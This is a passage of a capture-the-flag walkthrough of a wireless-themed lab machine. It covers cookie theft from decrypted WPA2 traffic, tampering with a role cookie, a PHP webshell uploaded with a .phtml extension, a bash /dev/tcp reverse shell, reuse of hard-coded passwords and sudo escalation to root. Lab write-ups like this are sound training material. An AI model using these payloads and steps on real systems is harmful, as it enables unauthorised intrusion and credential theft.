 🦡  User-Agent            │ feroxbuster/2.11.0
 💎  Proxy                 │ socks5://127.0.0.1:1080
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">403</span><span class="go">      GET        9l       28w      276c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">404</span><span class="go">      GET        9l       31w      273c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://192.168.3.1/ =&gt; </span><span class="feroxbuster-yellow">login.php</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      312c http://192.168.3.1/uploads =&gt; </span><span class="feroxbuster-yellow">http://192.168.3.1/uploads/</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://192.168.3.1/index.php =&gt; </span><span class="feroxbuster-yellow">login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       87l      161w     1325c http://192.168.3.1/style.css
</span><span class="feroxbuster-green">200</span><span class="go">      GET       40l       67w      907c http://192.168.3.1/login.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://192.168.3.1/lab.php =&gt; </span><span class="feroxbuster-yellow">login.php</span><span class="go">
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 62s    60003/60003   0s      </span><span class="feroxbuster-green">found</span><span class="go">:6       </span><span class="feroxbuster-red">errors</span><span class="go">:1      
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 59s    30000/30000   505/s   http://192.168.3.1/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 59s    30000/30000   505/s   http://192.168.3.1/uploads/ 
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/uploads</code> is interesting. The 301 redirect to <code class="language-plaintext highlighter-rouge">/uploads/</code> is normal behavior for a directory, but visiting the trailing-slash path returns 403 Forbidden — directory listing is disabled. Files inside could still be accessible if I know their names.</p>

<h3 id="recover-session-cookie">Recover Session Cookie</h3>

<h4 id="enter-psk">Enter PSK</h4>

<p>I was able to recover the PSK for the WPA2 encryption in the capture from earlier. I can use that to look at the traffic on the network in WireShark. The key needs to be entered under Edit –&gt; Preferences –&gt; Protocols –&gt; IEEE 802.11:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101345043.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101345043.png" alt="image-20260412101345043" class="include_image " />
</picture>

<p>The Decryption keys “Edit…” button loads a dialog:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101416902.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101416902.png" alt="image-20260412101416902" class="include_image " />
</picture>

<h4 id="http-session">HTTP Session</h4>

<p>If I filter in WireShark for <code class="language-plaintext highlighter-rouge">http</code>, two packets come back:</p>

<p><a href="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101529583.png"><img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101529583.png" alt="image-20260412101529583" /><em>Click for full size image</em></a></p>

<p>It’s a GET request for <code class="language-plaintext highlighter-rouge">/lab.php</code> and the response. I’ll follow the TCP stream:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101620877.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412101620877.png" alt="image-20260412101620877" class="include_image " />
</picture>

<p>There’s a session cookie as well as a <code class="language-plaintext highlighter-rouge">UserRole</code> cookie.</p>

<h3 id="website-access">Website Access</h3>

<h4 id="user">User</h4>

<p>I’ll update my <code class="language-plaintext highlighter-rouge">PHPSESSID</code> cookie in Firefox dev tools:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102229504.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102229504.png" alt="image-20260412102229504" class="include_image " />
</picture>

<p>Now on loading <code class="language-plaintext highlighter-rouge">/</code> it doesn’t redirect to <code class="language-plaintext highlighter-rouge">/login.php</code>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102300586.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102300586.png" alt="image-20260412102300586" class="include_image " />
</picture>

<p>I’ll note that the page looks a little off. There’s no text inside the “()”, and an empty div at the bottom. If I add the <code class="language-plaintext highlighter-rouge">UserRole</code> cookie:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102410104.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102410104.png" alt="image-20260412102410104" class="include_image " />
</picture>

<p>The top is modified:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102423028.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102423028.png" alt="image-20260412102423028" class="include_image " />
</picture>

<p>I can set it to whatever I want, and that’s reflected in the page:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102455424.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412102455424.png" alt="image-20260412102455424" class="include_image " />
</picture>

<p>Role enforcement here is entirely client-side. The server trusts whatever <code class="language-plaintext highlighter-rouge">UserRole</code> value the browser sends without validating it against the session, so any privileged functionality gated only on this cookie is reachable just by changing it.</p>

<h4 id="admin-access">Admin Access</h4>

<p>When I change the <code class="language-plaintext highlighter-rouge">UserRole</code> value to “admin”, not only does the welcome message update, but there’s now an upload feature in the bottom div:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412144646789.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412144646789.png" alt="image-20260412144646789" class="include_image " />
</picture>

<p>I’ll make a simple <code class="language-plaintext highlighter-rouge">.json</code> file:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"test"</span><span class="p">:</span><span class="w"> </span><span class="s2">"hello"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>On uploading it, it points to the <code class="language-plaintext highlighter-rouge">/uploads/</code> directory:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412144828213.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412144828213.png" alt="image-20260412144828213" class="include_image " />
</picture>

<p>I still can’t access <code class="language-plaintext highlighter-rouge">/uploads/</code>, but I can access <code class="language-plaintext highlighter-rouge">/uploads/test.json</code> (using <code class="language-plaintext highlighter-rouge">proxychains</code> to use the SSH proxy):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains curl http://192.168.3.1/uploads/test.json
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.3.1:80  ...  OK
{ "test": "hello" }
</span></code></pre></div></div>

<h3 id="shell">Shell</h3>

<h4 id="webshell">Webshell</h4>

<p>I’ll create a simple PHP webshell, <code class="language-plaintext highlighter-rouge">0xdf.php</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>

<span class="nb">system</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span>

<span class="cp">?&gt;</span>
</code></pre></div></div>

<p>On trying to upload it, the site rejects it:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412145054831.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412145054831.png" alt="image-20260412145054831" class="include_image " />
</picture>

<p>There are other <a href="https://www.studyhost.net/support/knowledgebase/53/What-are-valid-file-extensions-I-can-use-for-PHP-scripts.html">file extensions that typically are handled as PHP</a>. <code class="language-plaintext highlighter-rouge">.php3</code>, <code class="language-plaintext highlighter-rouge">.php4</code>, and <code class="language-plaintext highlighter-rouge">.php5</code> are all blocked, but <code class="language-plaintext highlighter-rouge">.phtml</code> works:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412145247353.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412145247353.png" alt="image-20260412145247353" class="include_image " />
</picture>

<p>And it works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains curl http://192.168.3.1/uploads/0xdf.phtml <span class="nt">-d</span> <span class="s1">'cmd=id'</span>
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.3.1:80  ...  OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></code></pre></div></div>

<h4 id="reverse-shell">Reverse Shell</h4>

<p>I’m not able to get any kind of traffic from 192.168.3.1 back to my host. No HTTP, ping, or reverse shell. But, when I start <code class="language-plaintext highlighter-rouge">nc</code> listening on the consultant machine, I can get a reverse shell there:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains curl http://192.168.3.1/uploads/0xdf.phtml <span class="nt">--data-urlencode</span> <span class="s1">'cmd=bash -c "bash -i &gt;&amp; /dev/tcp/192.168.3.84/443 0&gt;&amp;1"'</span>
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.3.1:80  ...  OK
</span></code></pre></div></div>

<p>That just hangs, but at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 192.168.3.1 40112
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">www-data@AirTouch-AP-PSK:/var/www/html/uploads$</span><span class="w">
</span></code></pre></div></div>

<p>I’ll upgrade my shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@AirTouch-AP-PSK:/var/www/html/uploads$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash
Script started, file is /dev/null 
</span><span class="gp">www-data@AirTouch-AP-PSK:/var/www/html/uploads$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
</span><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span> <span class="p">;</span> <span class="nb">fg</span>
<span class="go">nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">reset: unknown terminal type unknown
Terminal type? screen
</span><span class="gp">www-data@AirTouch-AP-PSK:/var/www/html/uploads$</span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-rootairtouch-ap-psk">Shell as root@AirTouch-AP-PSK</h2>

<h3 id="enumeration-1">Enumeration</h3>

<h4 id="website">Website</h4>

<p>The website PHP is held in <code class="language-plaintext highlighter-rouge">/var/www/html</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@AirTouch-AP-PSK:/var/www/html$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">index.php  lab.php  login.php  logout.phtml  style.css  uploads
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">login.php</code> has hard-coded creds:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="cm">/* Define username, associated password, and user attribute array */</span>
  <span class="nv">$logins</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
    <span class="cm">/*'user' =&gt; array('password' =&gt; 'JunDRDZKHDnpkpDDvay', 'role' =&gt; 'admin'),*/</span>
    <span class="s1">'manager'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="s1">'2wLFYNh4TSTgA5sNgT4'</span><span class="p">,</span> <span class="s1">'role'</span> <span class="o">=&gt;</span> <span class="s1">'user'</span><span class="p">)</span>
  <span class="p">);</span>   
</code></pre></div></div>

<p>The user user is commented out. Then it checks the input and sets the <code class="language-plaintext highlighter-rouge">UserRole</code> cookie:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="cm">/* Check and assign submitted Username and Password to new variable */</span>
  <span class="nv">$Username</span> <span class="o">=</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'Username'</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'Username'</span><span class="p">]</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span>                                                                     
  <span class="nv">$Password</span> <span class="o">=</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'Password'</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'Password'</span><span class="p">]</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span>
                                 
  <span class="cm">/* Check Username and Password existence in defined array */</span>
  <span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$logins</span><span class="p">[</span><span class="nv">$Username</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$logins</span><span class="p">[</span><span class="nv">$Username</span><span class="p">][</span><span class="s1">'password'</span><span class="p">]</span> <span class="o">===</span> <span class="nv">$Password</span><span class="p">)</span> <span class="p">{</span>
    <span class="cm">/* Success: Set session variables and redirect to Protected page  */</span>
    <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'UserData'</span><span class="p">][</span><span class="s1">'Username'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$logins</span><span class="p">[</span><span class="nv">$Username</span><span class="p">][</span><span class="s1">'password'</span><span class="p">];</span>
    <span class="cm">/* Success: Set session variables USERNAME  */</span>
    <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'Username'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$Username</span><span class="p">;</span>

    <span class="c1">// Set a cookie with the user's role</span>
    <span class="nb">setcookie</span><span class="p">(</span><span class="s1">'UserRole'</span><span class="p">,</span> <span class="nv">$logins</span><span class="p">[</span><span class="nv">$Username</span><span class="p">][</span><span class="s1">'role'</span><span class="p">],</span> <span class="nb">time</span><span class="p">()</span> <span class="o">+</span> <span class="p">(</span><span class="mi">86400</span> <span class="o">*</span> <span class="mi">30</span><span class="p">),</span> <span class="s2">"/"</span><span class="p">);</span> <span class="c1">// 86400 = 1 day</span>

    <span class="nb">header</span><span class="p">(</span><span class="s2">"location:index.php"</span><span class="p">);</span> 
    <span class="k">exit</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="cm">/*Unsuccessful attempt: Set error message */</span>
    <span class="nv">$msg</span> <span class="o">=</span> <span class="s2">"&lt;span style='color:red'&gt;Invalid Login Details&lt;/span&gt;"</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="cp">?&gt;</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">PHPSESSID</code> is managed by PHP, and the values stored in <code class="language-plaintext highlighter-rouge">$_SESSION</code> reflect that.</p>

<h4 id="users">Users</h4>

<p>There’s one user in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@AirTouch-AP-PSK:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">user
</span></code></pre></div></div>

<p>This lines up with users with shells set in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@AirTouch-AP-PSK:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
user:x:1000:1000::/home/user:/bin/bash
</span></code></pre></div></div>

<p>www-data isn’t able to read anything from that directory.</p>

<p>Trying to run <code class="language-plaintext highlighter-rouge">sudo -l</code> requests a password that I don’t have.</p>

<h3 id="su--ssh-as-user">su / SSH as user</h3>

<p>The commented PHP has a password for the user user, so I’ll try it on the system with <code class="language-plaintext highlighter-rouge">su</code>, and it works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@AirTouch-AP-PSK:/$</span><span class="w"> </span>su user -
<span class="go">Password: 
</span><span class="gp">user@AirTouch-AP-PSK:/$</span><span class="w">
</span></code></pre></div></div>

<p>It also works over SSH using proxychains (or from the consultant shell):</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains sshpass <span class="nt">-p</span> JunDRDZKHDnpkpDDvay ssh user@192.168.3.1
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.3.1:22  ...  OK
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
</span><span class="gp">user@AirTouch-AP-PSK:~$</span><span class="w">
</span></code></pre></div></div>

<h3 id="sudo-1">sudo</h3>

<p>The user user can run any command as any user without a password using <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@AirTouch-AP-PSK:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for user on AirTouch-AP-PSK:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on AirTouch-AP-PSK:
    (ALL) NOPASSWD: ALL
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sudo -i</code> returns a root shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@AirTouch-AP-PSK:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-i</span>
<span class="gp">root@AirTouch-AP-PSK:~#</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-AP-PSK:~#</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">9fd9619b************************
</span></code></pre></div></div>

<h2 id="shell-as-remoteairtouch-ap-mgt">Shell as remote@AirTouch-AP-MGT</h2>

<h3 id="enumeration-2">Enumeration</h3>

<h4 id="home-directories">Home Directories</h4>

<p><code class="language-plaintext highlighter-rouge">/root</code> has a bunch of stuff:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-AP-PSK:~#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 44
drwx------ 1 root root 4096 Apr 10 19:04 .
drwxr-xr-x 1 root root 4096 Apr 10 19:04 ..
lrwxrwxrwx 1 root root    9 Nov 24  2024 .bash_history -&gt; /dev/null
-rw-r--r-- 1 root root 3106 Dec  5  2019 .bashrc
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile
drwxr-xr-x 2 root root 4096 Mar 27  2024 certs-backup
-rwxr-xr-x 1 root root    0 Mar 27  2024 cronAPs.sh
drwxr-xr-x 1 root root 4096 Apr 10 19:04 psk
-rw-r--r-- 1 root root  364 Nov 24  2024 send_certs.sh
-rwxr-xr-x 1 root root 1963 Mar 27  2024 start.sh
-rw-r----- 1 root 1001   33 Apr 10 19:04 user.txt
-rw-r--r-- 1 root root  319 Mar 27  2024 wlan_config_aps
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">start.sh</code></p>

<div class="language-bash code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">echo </span>start.sh

<span class="c"># TODO move to Dockerfile</span>
envsubst_tmp <span class="o">(){</span>
    <span class="k">for </span>F <span class="k">in</span> ./<span class="k">*</span>.tmp <span class="p">;</span> <span class="k">do</span>
        <span class="c">#DO it only first time</span>
        <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$F</span><span class="s2">"</span> <span class="o">!=</span> <span class="s1">'/*.tmp'</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
            <span class="c">#echo $F</span>
            <span class="nv">NEW</span><span class="o">=</span><span class="sb">`</span><span class="nb">basename</span> <span class="nv">$F</span> .tmp<span class="sb">`</span>
            envsubst &lt; <span class="nv">$F</span> <span class="o">&gt;</span> <span class="nv">$NEW</span>
            <span class="nb">rm</span> <span class="nv">$F</span> 2&gt; /dev/nil
        <span class="k">fi
    done</span>
<span class="o">}</span>

<span class="nb">chown </span>user:user /home/user/user.txt
<span class="nb">chmod</span> +r /var/www/certs/ <span class="nt">-R</span>

<span class="c">#LOAD VARIABLES FROM FILE (EXPORT)</span>
<span class="nb">set</span> <span class="nt">-a</span>
<span class="nb">source</span> /root/wlan_config_aps

envsubst &lt; /etc/dnsmasq.conf.tmp <span class="o">&gt;</span> /etc/dnsmasq.conf

<span class="c"># Replace var in config AP files</span>
<span class="c">#PSK</span>
<span class="nb">cd</span> /root/psk/
envsubst_tmp

<span class="nb">cd

date

echo</span> <span class="s1">'nameserver 8.8.8.8'</span> <span class="o">&gt;</span> /etc/resolv.conf

<span class="c"># Wlan first 6 for attacker, next 14 for AP, rest for client</span>

<span class="nb">mkdir</span> /var/log/ 2&gt; /dev/nil

<span class="c">#F0:9F:C2:71 ubiquiti</span>
macchanger <span class="nt">-m</span> <span class="nv">$MAC_PSK</span> <span class="nv">$WLAN_PSK</span> <span class="o">&gt;&gt;</span> /var/log/macchanger.log <span class="c"># PSK</span>

macchanger <span class="nt">-r</span> <span class="nv">$WLAN_OTHER0</span>  <span class="o">&gt;&gt;</span> /var/log/macchanger.log <span class="c"># Other 0</span>
macchanger <span class="nt">-r</span> <span class="nv">$WLAN_OTHER1</span> <span class="o">&gt;&gt;</span> /var/log/macchanger.log <span class="c"># Other 1</span>
macchanger <span class="nt">-r</span> <span class="nv">$WLAN_OTHER2</span> <span class="o">&gt;&gt;</span> /var/log/macchanger.log <span class="c"># Other 2</span>
macchanger <span class="nt">-r</span> <span class="nv">$WLAN_OTHER3</span> <span class="o">&gt;&gt;</span> /var/log/macchanger.log <span class="c"># Other 3</span>


bash /root/cronAPs.sh <span class="o">&gt;</span> /var/log/cronAPs.log 2&gt;&amp;1 &amp;

dnsmasq

<span class="c">#TODO RE ORDER ALL WLAN and IP -&gt; 0 OPN, 1 WEP, 2 PSK, 3 PSK WPS, 4 MGT, 5 MGTRelay, 6 MGT TLS, 7 8 , 9,10,11,12,13 others</span>

<span class="c"># PSK</span>
ip addr add <span class="nv">$IP_PSK</span>.1/24 dev <span class="nv">$WLAN_PSK</span>
hostapd_aps /root/psk/hostapd_wpa.conf <span class="o">&gt;</span> /var/log/hostapd_wpa.log &amp;

<span class="c">#TODO</span>
<span class="c">#ip addr add $IP_8.1/24 dev $WLAN_MGTTLS</span>

<span class="c"># PSK Other</span>
ip addr add <span class="nv">$IP_OTHER0</span>.1/24 dev <span class="nv">$WLAN_OTHER0</span>
hostapd_aps /root/psk/hostapd_other0.conf <span class="o">&gt;</span> /var/log/hostapd_other0.log &amp;

ip addr add <span class="nv">$IP_OTHER1</span>.1/24 dev <span class="nv">$WLAN_OTHER1</span>
hostapd_aps /root/psk/hostapd_other1.conf <span class="o">&gt;</span> /var/log/hostapd_other1.log &amp;

ip addr add <span class="nv">$IP_OTHER2</span>.1/24 dev <span class="nv">$WLAN_OTHER2</span>
hostapd_aps /root/psk/hostapd_other2.conf <span class="o">&gt;</span> /var/log/hostapd_other2.log &amp;

ip addr add <span class="nv">$IP_OTHER3</span>.1/24 dev <span class="nv">$WLAN_OTHER3</span>
hostapd_aps /root/psk/hostapd_other3.conf <span class="o">&gt;</span> /var/log/hostapd_other3.log &amp;

<span class="c">#systemctl stop networking</span>
<span class="nb">echo</span> <span class="s2">"ALL SET"</span>

/bin/bash
</code></pre></div></div>

<p>This script is responsible for:</p>

<ul>
  <li>Launching the AirTouch-Internet, as well as the out of scope APs.</li>
  <li>Using <code class="language-plaintext highlighter-rouge">macchanger</code> to set the MAC addresses of the APs. AirTouch-Internet is set to the specific Ubiquiti MAC, and the rest are randomized using <code class="language-plaintext highlighter-rouge">-r</code>.</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">send_certs.sh</code> copies the files from <code class="language-plaintext highlighter-rouge">/root/certs-backup</code> to 10.10.10.1 using <code class="language-plaintext highlighter-rouge">scp</code>:</p>

<div class="language-bash sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="c"># DO NOT COPY</span>
<span class="c"># Script to sync certs-backup folder to AirTouch-office. </span>

<span class="c"># Define variables</span>
<span class="nv">REMOTE_USER</span><span class="o">=</span><span class="s2">"remote"</span>
<span class="nv">REMOTE_PASSWORD</span><span class="o">=</span><span class="s2">"xGgWEwqUpfoOVsLeROeG"</span>
<span class="nv">REMOTE_PATH</span><span class="o">=</span><span class="s2">"~/certs-backup/"</span>
<span class="nv">LOCAL_FOLDER</span><span class="o">=</span><span class="s2">"/root/certs-backup/"</span>

<span class="c"># Use sshpass to send the folder via SCP</span>
sshpass <span class="nt">-p</span> <span class="s2">"</span><span class="nv">$REMOTE_PASSWORD</span><span class="s2">"</span> scp <span class="nt">-r</span> <span class="s2">"</span><span class="nv">$LOCAL_FOLDER</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$REMOTE_USER</span><span class="s2">@10.10.10.1:</span><span class="nv">$REMOTE_PATH</span><span class="s2">"</span>
</code></pre></div></div>

<p>10.10.10.1 is the AirTouch-Office gateway, and it has the user remote with the password “xGgWEwqUpfoOVsLeROeG”. Unfortunately, this box doesn’t have an interface on the 10.10.10.0/24 network, so SSH fails:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-AP-PSK:~#</span><span class="w"> </span>ssh remote@10.10.10.1
<span class="go">ssh: connect to host 10.10.10.1 port 22: Network is unreachable
</span><span class="gp">root@AirTouch-AP-PSK:~#</span><span class="w"> </span>ip addr
<span class="go">1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
14: wlan7: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether f0:9f:c2:a3:f1:a7 brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.1/24 scope global wlan7
       valid_lft forever preferred_lft forever
    inet6 fe80::f29f:c2ff:fea3:f1a7/64 scope link 
       valid_lft forever preferred_lft forever
